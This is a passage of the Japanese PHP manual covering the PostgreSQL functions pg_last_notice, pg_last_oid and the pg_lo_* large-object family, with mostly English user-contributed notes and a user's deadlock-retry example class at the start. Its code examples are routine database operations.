I found no discrete way to find out which case are we dealing with. This interface doesn't support error codes, so we have to search for patterns in the message text.

Here is an example for PostgreSQL database connection class. It throws a PostgresException on "normal" errors, and DependencyException in the case of a broken deadlock, when we have to repeat the transaction.

postgres.php:
<?php
class PostgresException extends Exception {
    function __construct($msg) { parent::__construct($msg); }
}

class DependencyException extends PostgresException {
    function __construct() { parent::__construct("deadlock"); }
}

class pg {
    public static $connection;

    private static function connect() {
        self::$connection = @pg_connect("dbname=foodb user=foouser password=foopasswd");
        if (self::$connection === FALSE) {
            throw(new PostgresException("Can't connect to database server."));
        }
    }

    public static function query($sql) {
        if (!isset(self::$connection)) {
            self::connect();
        }

        $result = @pg_query(self::$connection, $sql);
        if ($result === FALSE) {
            $error = pg_last_error(self::$connection);
            if (stripos($error, "deadlock detected") !== false) throw(new DependencyException());

            throw(new PostgresException($error.": ".$sql));
        }

        $out = array();
        while ( ($d = pg_fetch_assoc($result)) !== FALSE) {
            $out[] = $d;
        }

        return $out;
    }
}
?>

It should be used in this way:

test.php:
<?php
include("postgres.php");

do {
    $repeat = false;
    try {
        pg::query("begin");

        ...

        $result = pg::query("SELECT * FROM public.kitten");

        ...

        pg::query("commit");
    }
    catch (DependencyException $e) {
        pg::query("rollback");
        $repeat = true;
    }
} while ($repeat);
?>

The normal errors should be caught at the frontend.

Tamas


PostgreSQL サーバーからの直近の通知メッセージを返す

  • ≪ pg_last_error
  • pg_last_oid ≫
  • PHP Manual
  • PostgreSQL 関数
  • PostgreSQL サーバーからの直近の通知メッセージを返す

pg_last_notice

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

pg_last_notice — PostgreSQL サーバーからの直近の通知メッセージを返す

説明

pg_last_notice ( resource $connection , int $option = PGSQL_NOTICE_LAST ) : mixed

pg_last_notice() は、connection で指定した PostgreSQL サーバーからの直近の通知メッセージを返します。 たとえば、テーブルに SERIAL カラムを作成する場合などに PostgreSQL サーバーは通知メッセージを送信します。

pg_last_notice() でトランザクションに関連する通知 メッセージがあるかないかをチェックすることで、無意味なクエリの発行を 避けることが可能です。

php.ini で pgsql.ignore_notice に 1 を指定することで、通知メッセージの追跡をしないようにすることが可能です。

php.ini で pgsql.log_notice に 0 を指定することで、通知メッセージをログに記録しないようにすることが可能です。 pgsql.ignore_notice が 0 に設定されていない限り、 通知メッセージをログに記録することはできません。

パラメータ

connection

PostgreSQL データベースの接続リソース。

option

直近の通知を返す PGSQL_NOTICE_LAST、 すべての通知を返す PGSQL_NOTICE_ALL、 または通知をクリアする PGSQL_NOTICE_CLEAR のいずれか

返り値

PGSQL_NOTICE_LAST 使用時は、 指定された connection の直近の通知を含む string、 PGSQL_NOTICE_ALL 使用時は array、 PGSQL_NOTICE_CLEAR 使用時は bool、 エラー時には false を返します。

例

例1 pg_last_notice() の例

<?php
  $pgsql_conn = pg_connect("dbname=mark host=localhost");

  $res = pg_query("CREATE TABLE test (id SERIAL)");

  $notice = pg_last_notice($pgsql_conn);

  echo $notice;
?>

上の例の出力は以下となります。

CREATE TABLE will create implicit sequence "test_id_seq" for "serial" column "test.id"

変更履歴

バージョン | 説明
7.1.0 | option パラメータが追加されました。

参考

  • pg_query() - クエリを実行する
  • pg_last_error() - 特定の接続から直近のエラーメッセージ文字列を取得する

User Contributed Notes

There are no user contributed notes for this page.


直近の行のオブジェクト ID を返す

  • ≪ pg_last_notice
  • pg_lo_close ≫
  • PHP Manual
  • PostgreSQL 関数
  • 直近の行のオブジェクト ID を返す

pg_last_oid

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_last_oid — 直近の行のオブジェクト ID を返す

説明

pg_last_oid ( resource $result ) : string

pg_last_oid() は、挿入された行に割り当てられた OID を取得します。

OID フィールドは PostgreSQL 7.2 からはオプションとなり、 PostgreSQL 8.1 ではデフォルトで存在しません。OID フィールドが テーブルに存在しない場合、プログラマは pg_result_status() を使用して挿入が成功したことを 確かめる必要があります。

挿入された行の SERIAL フィールドの値を取得するには、 PostgreSQL の CURRVAL 関数を使用してシーケンス内で 直近に要求された値を取得する必要があります。シーケンス名がわからない 場合は、PostgreSQL 8.0 の関数 pg_get_serial_sequence が必要になります。

PostgreSQL 8.1 には LASTVAL 関数が存在し、セッション内で 直近に使用されたシーケンスの値を返します。これを用いれば、シーケンスや テーブルやカラムの名前を指定する必要がなくなります。

注意:

この関数は、以前は pg_getlastoid() と呼ばれていました。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

返り値

指定された connection で、直近に挿入された行に 割り当てられた OID を文字列で返します。エラー時や有効な OID のない場合に false を返します。

例

例1 pg_last_oid() の例

<?php
  // データベースに接続します
  pg_connect("dbname=mark host=localhost");

  // サンプルのテーブルを作ります
  pg_query("CREATE TABLE test (a INTEGER) WITH OIDS");

  // データを追加します
  $res = pg_query("INSERT INTO test VALUES (1)");

  $oid = pg_last_oid($res);
?>

参考

  • pg_query() - クエリを実行する
  • pg_result_status() - クエリ結果のステータスを取得する

User Contributed Notes

qeremy [atta] gmail [dotta] com 27-Jul-2012 02:11
Simply getting LAST_INSERT_ID;

<?php
// Note: waiting for "select" part from pg_query below.
// Note: separating the query parts using semicolons (;).

$qry = pg_query("
    INSERT INTO users (id,uname,upass,rep) VALUES (DEFAULT,'bubu','a981v',0.19);
    SELECT Currval('users_id_seq') LIMIT 1
");

// or
$qry = pg_query("
    INSERT INTO users (id,uname,upass,rep) VALUES (DEFAULT,'bubu','a981v',0.19) RETURNING Currval('users_id_seq')");

$fch = pg_fetch_row($qry);
print_r($fch);
?>

Array
(
    [0] => 3 -> Gotcha!
)
Jonathan Bond-Caron 30-May-2005 08:21
I'm sharing an elegant solution I found on the web (Vadim Passynkov):

CREATE RULE get_pkey_on_insert AS ON INSERT TO Customers DO SELECT currval('customers_customers_id_seq') AS id;

Every time you insert to the Customers table, postgreSQL will return a table with the id you just inserted. No need to worry about concurrency, the ressource is locked when the rule gets executed.

Note that in cases of multiple inserts:
INSERT INTO C1 ( ... ) ( SELECT * FROM C2);

we would return the id of the last inserted row.

For more info about PostgreSQL rules:
http://www.postgresql.org/docs/7.4/interactive/sql-createrule.html
julian at e2-media dot co dot nz 25-Aug-2003 11:21
The way I nuderstand it, each value is emitted by a sequence only ONCE. If you retrieve a number (say 12) from a sequence using nextval(), the sequence will advance and subsequent calls to nextval() will return further numbers (after 12) in the sequence.

This means that if you use nextval() to retrieve a value to use as a primary key, you can be guaranteed that no other calls to nextval() on that sequence will return the same value. No race conditions, no transactions required.

That's what sequences are *for* afaik :^)
a dot bardsley at lancs dot ac dot uk 15-May-2003 11:23
As pointed out on a busy site some of the above methods might actually give you an incorrect answer as another record is inserted inbetween your insert  and the select. To combat this put it into a transaction and dont commit till you have done all the work
dtutar at yore dot com dot tr 26-Apr-2003 07:15
This is very useful function :)

function sql_last_inserted_id($connection, $result, $table_name, $column_name) {
   $oid = pg_last_oid ( $result);
       $query_for_id = "SELECT $column_name FROM $table_name WHERE oid=$oid";
   $result_for_id = pg_query($connection,$query_for_id);
   if(pg_num_rows($result_for_id))
      $id=pg_fetch_array($result_for_id,0,PGSQL_ASSOC);
   return $id[$column_name];
}

Call after insert, simply ;)
webmaster at gamecrash dot net 03-Mar-2003 06:29
You could use this to get the last insert id...

CREATE TABLE test (
  id serial,
  something int not null
);

This creates the sequence test_id_seq. Now do the following after inserting something into table test:

INSERT INTO test (something) VALUES (123);
SELECT currval('test_id_seq') AS lastinsertid;

lastinsertid should contain your last insert id.


ラージオブジェクトをクローズする

  • ≪ pg_last_oid
  • pg_lo_create ≫
  • PHP Manual
  • PostgreSQL 関数
  • ラージオブジェクトをクローズする

pg_lo_close

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_close — ラージオブジェクトをクローズする

説明

pg_lo_close ( resource $large_object ) : bool

pg_lo_close() はラージオブジェクトをクローズします。 large_object は、pg_lo_open() でオープンされたラージオブジェクトのリソースです。

ラージオブジェクトインターフェイスは、トランザクションブロックの中で 使用する必要があります。

注意:

This function used to be called pg_loclose().

パラメータ

result

PostgreSQL large object (LOB) resource, returned by pg_lo_open().

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pg_lo_close() example

<?php
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $oid = pg_lo_create($database);
   echo "$oid\n";
   $handle = pg_lo_open($database, $oid, "w");
   echo "$handle\n";
   pg_lo_write($handle, "large object data");
   pg_lo_close($handle);
   pg_query($database, "commit");
?>

参考

  • pg_lo_open() - ラージオブジェクトをオープンする
  • pg_lo_create() - ラージオブジェクトを生成する
  • pg_lo_import() - ファイルからラージオブジェクトをインポートする

User Contributed Notes

There are no user contributed notes for this page.


ラージオブジェクトを生成する

  • ≪ pg_lo_close
  • pg_lo_export ≫
  • PHP Manual
  • PostgreSQL 関数
  • ラージオブジェクトを生成する

pg_lo_create

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_create — ラージオブジェクトを生成する

説明

pg_lo_create ( resource $connection = ? , mixed $object_id = ? ) : int
pg_lo_create ( mixed $object_id ) : int

pg_lo_create() はラージオブジェクトを 生成し、そのラージオブジェクトの OID を返します。 PostgreSQL アクセスモード INV_READ、INV_WRITE および INV_ARCHIVE はサポートされません。オブジェクトは 常に読み書き可のアクセス権で生成されます。 INV_ARCHIVE は PostgreSQL 自身からも削除されました （バージョン 6.3 以降）。

ラージオブジェクトインターフェイスは、トランザクションブロックの中で 使用する必要があります。

ラージオブジェクトインターフェイス（アクセス制御もできないし使用が面倒） を使用するかわりに、PostgreSQL の bytea カラム型と pg_escape_bytea() を試してください。

注意:

この関数は、以前は pg_locreate() と呼ばれていました。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

object_id

object_id が指定されると、 この関数は指定された ID のラージオブジェクトを作成しようとします。 それ以外の場合は、サーバーから割り当てられたオブジェクト ID を使用します。 このパラメータは PHP 5.3 で追加されたもので、 PostgreSQL 8.1 以降の新機能に依存しています。

返り値

ラージオブジェクトの OID を返します。 エラー時には false を返します。

例

例1 pg_lo_create() の例

<?php
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $oid = pg_lo_create($database);
   echo "$oid\n";
   $handle = pg_lo_open($database, $oid, "w");
   echo "$handle\n";
   pg_lo_write($handle, "large object data");
   pg_lo_close($handle);
   pg_query($database, "commit");
?>

User Contributed Notes

andrea dot galli at acotel dot com 05-May-2003 10:21
<?php
// --------- OPEN CONN ---

   $conn = pg_connect("host='127.0.0.1' dbname='test' user='usertest' password='passtest'");

// --------- OPEN FILE ---

   $fp = fopen('logo.gif', "r");
   $buffer = fread($fp, filesize('logo.gif'));
   fclose($fp);

// --------- CREATE - INSERT OID ---

   pg_exec($conn, "begin");

   $oid = pg_locreate($conn);

   $rs = pg_exec($conn,"INSERT INTO test(tipo, images) VALUES('A1', $oid);");
   $handle = pg_loopen ($conn, $oid, "w");

   pg_lowrite ($handle, $buffer);
   pg_loclose ($handle);

   pg_exec($conn, "commit");

// --------- OPEN - INSERT OID ---

   $rs = pg_exec($conn, "SELECT images FROM test WHERE tipo = 'A1';");
   $row = pg_fetch_row($rs, 0);

   pg_exec($conn, "begin");
   $loid = pg_loopen($conn, $row[0], "r");

   header("Content-type: image/gif");

   pg_loreadall($loid);
   pg_loclose($loid);

   pg_exec ($conn, "commit");

// --------- UNLINK OID ---

   pg_exec($conn, "begin");

   $loid = $row[0];
   pg_lounlink($conn, $loid);

   pg_exec ($conn, "commit");

// --------- DELETE OID ---

   pg_exec($conn, "DELETE FROM test WHERE tipo = 'A1';");

// --------- CLOSE CONN ---

   pg_close();
?>


ラージオブジェクトをファイルにエクスポートする

  • ≪ pg_lo_create
  • pg_lo_import ≫
  • PHP Manual
  • PostgreSQL 関数
  • ラージオブジェクトをファイルにエクスポートする

pg_lo_export

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_export — ラージオブジェクトをファイルにエクスポートする

説明

pg_lo_export ( resource $connection = ? , int $oid , string $pathname ) : bool

pg_lo_export() は PostgreSQL データベースから ラージオブジェクトを取得し、その内容をローカルファイルシステム上の ファイルに保存します。

ラージオブジェクトインターフェイスは、トランザクションブロックの中で 使用する必要があります。

注意:

この関数は、以前は pg_loexport() と呼ばれていました。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

oid

データベース内のラージオブジェクトの OID 。

pathname

ラージオブジェクトをクライアントのファイルシステムに書き込む際の フルパスとファイル名。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pg_lo_export() の例

<?php
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $oid = pg_lo_create($database);
   $handle = pg_lo_open($database, $oid, "w");
   pg_lo_write($handle, "large object data");
   pg_lo_close($handle);
   pg_lo_export($database, $oid, '/tmp/lob.dat');
   pg_query($database, "commit");
?>

参考

  • pg_lo_import() - ファイルからラージオブジェクトをインポートする

User Contributed Notes

There are no user contributed notes for this page.


ファイルからラージオブジェクトをインポートする

  • ≪ pg_lo_export
  • pg_lo_open ≫
  • PHP Manual
  • PostgreSQL 関数
  • ファイルからラージオブジェクトをインポートする

pg_lo_import

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_import — ファイルからラージオブジェクトをインポートする

説明

pg_lo_import ( resource $connection = ? , string $pathname , mixed $object_id = ? ) : int

pg_lo_import() は、ファイルシステム上のファイルの データをもとにして新しいラージオブジェクトをデータベース内に作成します。

ラージオブジェクトインターフェイスは、トランザクションブロックの中で 使用する必要があります。

注意:

この関数は、以前は pg_loimport() と呼ばれていました。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

pathname

クライアントのファイルシステムからラージオブジェクト用データを 読み込む際のフルパスとファイル名。

object_id

object_id が指定されると、 この関数は指定された ID のラージオブジェクトを作成しようとします。 それ以外の場合は、サーバーから割り当てられたオブジェクト ID を使用します。 このパラメータは PHP 5.3 で追加されたもので、 PostgreSQL 8.1 以降の新機能に依存しています。

返り値

作成されたラージオブジェクトの OID を返します。 失敗した場合には false を返します。

例

例1 pg_lo_import() の例

<?php
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $oid = pg_lo_import($database, '/tmp/lob.dat');
   pg_query($database, "commit");
?>

参考

  • pg_lo_export() - ラージオブジェクトをファイルにエクスポートする
  • pg_lo_open() - ラージオブジェクトをオープンする

User Contributed Notes

vi2 at vi2 dot com 01-Aug-2002 05:54
its not very clear if pg_lo_import needs to have pg_lo_open called first. Because pg_lo_import handles the process of writign to the file, it seems logical that pg_lo_open does not need to be called. However due to the ugly nature of how postgres handles oid objects, it would be nice to have this documented.
yohgaki at php dot net 19-Jun-2002 06:04
Due to a bug, OLD API does not available with PHP 4.2.0 and 4.2.1.

PHP 4.2.2 will support OLD API again and will be kept long enough.

New API will be available PHP 4.2.0 to later versions.
yohgaki at php dot net 19-Jun-2002 06:00
Due to a bug, PHP 4.2.0 and 4.2.1 does not support pg_lo_import() old API. It's fixed in PHP 4.2.2.

BTW, new API will be always available from PHP 4.2.0 to later versions. Older API will be kept long enough, also.
ceco at noxis dot net 15-May-2002 11:08
it works for me (php-4.2.1)

not like this

int pg_lo_import ( string pathname [, resource connection])

but
int pg_lo_import ( resource connection, string pathname )

don't know the reason


ラージオブジェクトをオープンする

  • ≪ pg_lo_import
  • pg_lo_read_all ≫
  • PHP Manual
  • PostgreSQL 関数
  • ラージオブジェクトをオープンする

pg_lo_open

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_open — ラージオブジェクトをオープンする

説明

pg_lo_open ( resource $connection , int $oid , string $mode ) : resource

pg_lo_open() はデータベース内にラージオブジェクトを オープンし、それを操作するためのラージオブジェクトリソースを返します。

警告

ラージオブジェクトのリソースを閉じる前にデータベースへの接続を 閉じないでください。

ラージオブジェクトインターフェイスは、トランザクションブロックの中で 使用する必要があります。

注意:

この関数は、以前は pg_loopen() と呼ばれていました。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

oid

データベース内のラージオブジェクトの OID 。

mode

読み込み専用の "r"、書き込み専用の "w"、読み書き可能な "rw" のいずれか。

返り値

ラージオブジェクトのリソースを返します。エラー時には false を返します。

例

例1 pg_lo_open() の例

<?php
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $oid = pg_lo_create($database);
   echo "$oid\n";
   $handle = pg_lo_open($database, $oid, "w");
   echo "$handle\n";
   pg_lo_write($handle, "large object data");
   pg_lo_close($handle);
   pg_query($database, "commit");
?>

参考

  • pg_lo_close() - ラージオブジェクトをクローズする
  • pg_lo_create() - ラージオブジェクトを生成する

User Contributed Notes

metator at netcabo dot pt 29-Aug-2005 11:15
Just for the record, a user must be a superuser (database owner) in order to invoke pg_lo_open() (though pg_lo_create() may be invoked...). This opens a gigantic security hole in the db. If a user is not a superuser, db will raise an error with message "Can't create Large Object.".
Thus, imho, one should use pg_escape_bytea() instead.


ラージオブジェクト全体を読み込みブラウザに直接送信する

  • ≪ pg_lo_open
  • pg_lo_read ≫
  • PHP Manual
  • PostgreSQL 関数
  • ラージオブジェクト全体を読み込みブラウザに直接送信する

pg_lo_read_all

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_read_all — ラージオブジェクト全体を読み込みブラウザに直接送信する

説明

pg_lo_read_all ( resource $large_object ) : int

pg_lo_read_all() は、ラージオブジェクトを読み込み 未送信のヘッダを全て送信した後、ブラウザに直接ラージオブジェクトを 送信します。これは主に、イメージや音などのバイナリデータを送信するために 使用します。

ラージオブジェクトインターフェイスは、トランザクションブロックの中で 使用する必要があります。

注意:

この関数は、以前は pg_loreadall() と呼ばれていました。

パラメータ

large_object

pg_lo_open() によって返された PostgreSQL ラージオブジェクト (LOB) リソース。

返り値

読み込んだバイト数を返します。エラー時には false を返します。

例

例1 pg_lo_read_all() の例

<?php
   header('Content-type: image/jpeg');
   $image_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $image_oid, "r");
   pg_lo_read_all($handle);
   pg_query($database, "commit");
?>

参考

  • pg_lo_read() - ラージオブジェクトを読み込む

User Contributed Notes

fabar2 at libero dot it 08-Oct-2011 08:36
Pay attention that if you omit the "length" parameter it will read a 8192 bytes object regardless to its real dimensions. If you want to use this function think to save the object size somewhere (usually a field in its table) before reading the object. Alternatively use the pg_lo_readall function.
robert dot bernier5 at sympatico dot ca 24-Sep-2004 07:45
// remember, large objects must be obtained from within a transaction
pg_query ($dbconn, "begin");

// "assume" for this example that the large object resource number of the zipped file is "17899"

$lo_oid = 17899;

$handle_lo = pg_lo_open($dbconn,$lo_oid,"r") or die("<h1>Error.. can't get handle</h1>");

//headers to send to the browser before beginning the binary download
header('Accept-Ranges: bytes');
header('Content-Length: 32029974'); //this is the size of the zipped file
header('Keep-Alive: timeout=15, max=100');
header('Content-type: Application/x-zip');
header('Content-Disposition: attachment; filename="superjob.zip"');

pg_lo_read_all($handle_lo) or
  die("<h1>Error, can't read large object.</h1>");

// committing the data transaction
pg_query ($dbconn, "commit");


ラージオブジェクトを読み込む

  • ≪ pg_lo_read_all
  • pg_lo_seek ≫
  • PHP Manual
  • PostgreSQL 関数
  • ラージオブジェクトを読み込む

pg_lo_read

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_read — ラージオブジェクトを読み込む

説明

pg_lo_read ( resource $large_object , int $len = 8192 ) : string

pg_lo_read()は、ラージオブジェクトから最大 len バイト分読み込み、文字列として返します。

ラージオブジェクトインターフェイスは、トランザクションブロックの中で 使用する必要があります。

注意:

この関数は、以前は pg_loread() と呼ばれていました。

パラメータ

large_object

pg_lo_open() によって返された PostgreSQL ラージオブジェクト (LOB) リソース。

len

返すデータの最大バイト数（オプション）。

返り値

ラージオブジェクトから len バイトのデータを 文字列で返します。エラー時には false を返します。

例

例1 pg_lo_read() の例

<?php
   $doc_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $doc_oid, "r");
   $data = pg_lo_read($handle, 50000);
   pg_query($database, "commit");
   echo $data;
?>

参考

  • pg_lo_read_all() - ラージオブジェクト全体を読み込みブラウザに直接送信する

User Contributed Notes

bobahspb at gmail dot com 22-Aug-2011 03:43
Be careful: pg_lo_export() create empty file without "begin"/"end".
See docs: "...it is necessary to enclose it within a transaction block..."


ラージオブジェクトの位置をシークする

  • ≪ pg_lo_read
  • pg_lo_tell ≫
  • PHP Manual
  • PostgreSQL 関数
  • ラージオブジェクトの位置をシークする

pg_lo_seek

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_seek — ラージオブジェクトの位置をシークする

説明

pg_lo_seek ( resource $large_object , int $offset , int $whence = PGSQL_SEEK_CUR ) : bool

pg_lo_seek() はラージオブジェクトリソースの位置を シークします。

ラージオブジェクトインターフェイスは、トランザクションブロックの中で 使用する必要があります。

パラメータ

large_object

pg_lo_open() が返す PostgreSQL の ラージオブジェクト(LOB)リソース。

offset

シークするバイト数。

whence

定数 PGSQL_SEEK_SET（オブジェクトの先頭からシークする）、 PGSQL_SEEK_CUR（カレントの位置からシークする）、 あるいは PGSQL_SEEK_END（オブジェクトの最後からシークする） の中のひとつ。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pg_lo_seek() の例

<?php
   $doc_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $doc_oid, "r");
   // 最初の 50000 バイトをスキップする
   pg_lo_seek($handle, 50000, PGSQL_SEEK_SET);
   // 次の 10000 バイトを読み込む
   $data = pg_lo_read($handle, 10000);
   pg_query($database, "commit");
   echo $data;
?>

変更履歴

バージョン | 説明
5.6.0 | PostgreSQL 9.3 以降での 64 ビットラージオブジェクトに対応しました。 これを使うには、クライアントとサーバーがいずれも PostgreSQL 9.3 以降であることと、 PHP が 64 ビット版であることが必要です。

参考

  • pg_lo_tell() - ラージオブジェクトのカレントのシーク位置を返す

User Contributed Notes

There are no user contributed notes for this page.


ラージオブジェクトのカレントのシーク位置を返す

  • ≪ pg_lo_seek
  • pg_lo_truncate ≫
  • PHP Manual
  • PostgreSQL 関数
  • ラージオブジェクトのカレントのシーク位置を返す

pg_lo_tell

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_tell — ラージオブジェクトのカレントのシーク位置を返す

説明

pg_lo_tell ( resource $large_object ) : int

pg_lo_tell() は、ラージオブジェクトのカレントの位置 （先頭からのオフセット）を返します。

ラージオブジェクトインターフェイスは、トランザクションブロックの中で 使用する必要があります。

パラメータ

large_object

pg_lo_open() が返す PostgreSQL の ラージオブジェクト(LOB)リソース。

返り値

ラージオブジェクトの先頭からのカレントのシーク位置（バイト数）を返します。 エラーが発生した場合は、負の数を返します。

例

例1 pg_lo_tell() の例

<?php
   $doc_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $doc_oid, "r");
   // 最初の 50000 バイトをスキップする
   pg_lo_seek($handle, 50000, PGSQL_SEEK_SET);
   // どれだけスキップしたのかを調べる
   $offset = pg_lo_tell($handle);
   echo "Seek position is: $offset";
   pg_query($database, "commit");
?>

上の例の出力は以下となります。

Seek position is: 50000

変更履歴

バージョン | 説明
5.6.0 | PostgreSQL 9.3 以降での 64 ビットラージオブジェクトに対応しました。 これを使うには、クライアントとサーバーがいずれも PostgreSQL 9.3 以降であることと、 PHP が 64 ビット版であることが必要です。

参考

  • pg_lo_seek() - ラージオブジェクトの位置をシークする

User Contributed Notes

Marv-CZ 15-Nov-2010 10:26
Function to take a large object size:

<?php
function pg_lo_size ($lo) {
  $pos = pg_lo_tell ($lo);
  pg_lo_seek ($lo, 0, PGSQL_SEEK_END);
  $size = pg_lo_tell ($lo);
  pg_lo_seek ($lo, $pos, PGSQL_SEEK_SET);
  return $size;
}
?>


ラージオブジェクトを切り詰める

  • ≪ pg_lo_tell
  • pg_lo_unlink ≫
  • PHP Manual
  • PostgreSQL 関数
  • ラージオブジェクトを切り詰める

pg_lo_truncate

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

pg_lo_truncate — ラージオブジェクトを切り詰める

説明

pg_lo_truncate ( resource $large_object , int $size ) : bool

pg_lo_truncate() は、ラージオブジェクトのリソースを切り詰めます。

ラージオブジェクトのインターフェイスを使うには、トランザクションブロックで囲む必要があります。

パラメータ

large_object

pg_lo_open() によって返される PostgreSQL ラージオブジェクト (LOB) リソース。

size

切り詰めるバイトサイズ

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pg_lo_truncate() の例

<?php
   $doc_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $doc_oid, "r");
   // Truncate to 0
   pg_lo_truncate($handle, 0);
   pg_query($database, "commit");
   echo $data;
?>

変更履歴

バージョン | 説明
5.6.0 | truncate 関数が追加されました。 これは PostgreSQL 9.3 の 64bit ラージオブジェクトをサポートします。 64bit ラージオブジェクトを使うには、 クライアントとサーバが両方 PostgreSQL 9.3 をサポートし、 PHP は64bitビルドでなければなりません。

参考

  • pg_lo_tell() - ラージオブジェクトのカレントのシーク位置を返す

User Contributed Notes

There are no user contributed notes for this page.


ラージオブジェクトを削除する

  • ≪ pg_lo_truncate
  • pg_lo_write ≫
  • PHP Manual
  • PostgreSQL 関数
  • ラージオブジェクトを削除する

pg_lo_unlink

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_unlink — ラージオブジェクトを削除する

説明

pg_lo_unlink ( resource $connection , int $oid ) : bool

pg_lo_unlink()は、oidで 関連付けられたラージオブジェクトを削除します。成功した場合に true を、失敗した場合に false を返します。

ラージオブジェクトインターフェイスは、トランザクションブロックの中で 使用する必要があります。

注意:

この関数は、以前は pg_lounlink() と呼ばれていました。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

oid

データベース内のラージオブジェクトの OID 。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pg_lo_unlink() の例

<?php
   // 削除するラージオブジェクトの OID
   $doc_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   pg_lo_unlink($database, $doc_oid);
   pg_query($database, "commit");
?>

参考

  • pg_lo_create() - ラージオブジェクトを生成する
  • pg_lo_import() - ファイルからラージオブジェクトをインポートする

User Contributed Notes

There are no user contributed notes for this page.


ラージオブジェクトを書く

  • ≪ pg_lo_unlink
  • pg_meta_data ≫
  • PHP Manual
  • PostgreSQL 関数
  • ラージオブジェクトを書く

pg_lo_write

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_write — ラージオブジェクトを書く

説明

pg_lo_write ( resource $large_object , string $data , int $len = ? ) : int

pg_lo_write() は、ラージオブジェクトの カレントのシーク位置にデータを書き込みます。

ラージオブジェクトインターフェイスは、トランザクションブロックの中で 使用する必要があります。

注意:

この関数は、以前は pg_lowrite() と呼ばれていました。

パラメータ

large_object

pg_lo_open() によって返された PostgreSQL ラージオブジェクト (LOB) リソース。

data

ラージオブジェクトに書き込むデータ。len が data の長さより小さく指定されている場合、 len バイトのみが書き込まれます。

len

書き込むデータの最大バイト数（オプション）。0 より大きく、かつ data のサイズ以下でなければなりません。 デフォルトは data の長さです。

返り値

ラージオブジェクトに書き込んだバイト数を返します。 エラー時には false を返します。

例

例1 pg_lo_write() の例

<?php
   $doc_oid = 189762345;
   $data = "This will overwrite the start of the large object.";
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $doc_oid, "w");
   $data = pg_lo_write($handle, $data);
   pg_query($database, "commit");
?>

参考

  • pg_lo_create() - ラージオブジェクトを生成する
  • pg_lo_open() - ラージオブジェクトをオープンする

User Contributed Notes

nandrews at logictree dot co dot uk 05-Jun-2003 08:17
Using php 4.3.0 and PostgreSQL 7.3.1

I can write a simple script in which pg_lo_write seems to always return 1 and not the number of bytes written, as evidenced by extracting the data through another means.

Further more, I can make this pg_lo_write fail, or at least fail to write all the data it's pretty difficult to tell without the number of bytes written being returned, and not return the false value. In addition to this, the lo resource has been adjusted so that the oid it contains is 0.

Unfortunately, I do not know what exactly the failure mode is, it does seem to be in the ip network communication side of PostgreSQL, which is odd since the unix domain comms works fine for this. However, it would have been useful to have the pg_lo_write() function return as advertised, it would have saved some of the 2 man hours me and the dev. team put into diagnosing this problem.
cedric at isoca.com 27-Apr-2001 05:26
Be aware when you modify a lo with pg_lowrite() to remove first the old one : if the new lo is smaller than the one before, it only overwrite the begining and you keep the end of the old lo (open with "w" parameter, PHP 4.04 Linux RH).


テーブルからメタデータを取得する

  • ≪ pg_lo_write
  • pg_num_fields ≫
  • PHP Manual
  • PostgreSQL 関数
  • テーブルからメタデータを取得する

pg_meta_data

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_meta_data — テーブルからメタデータを取得する

説明

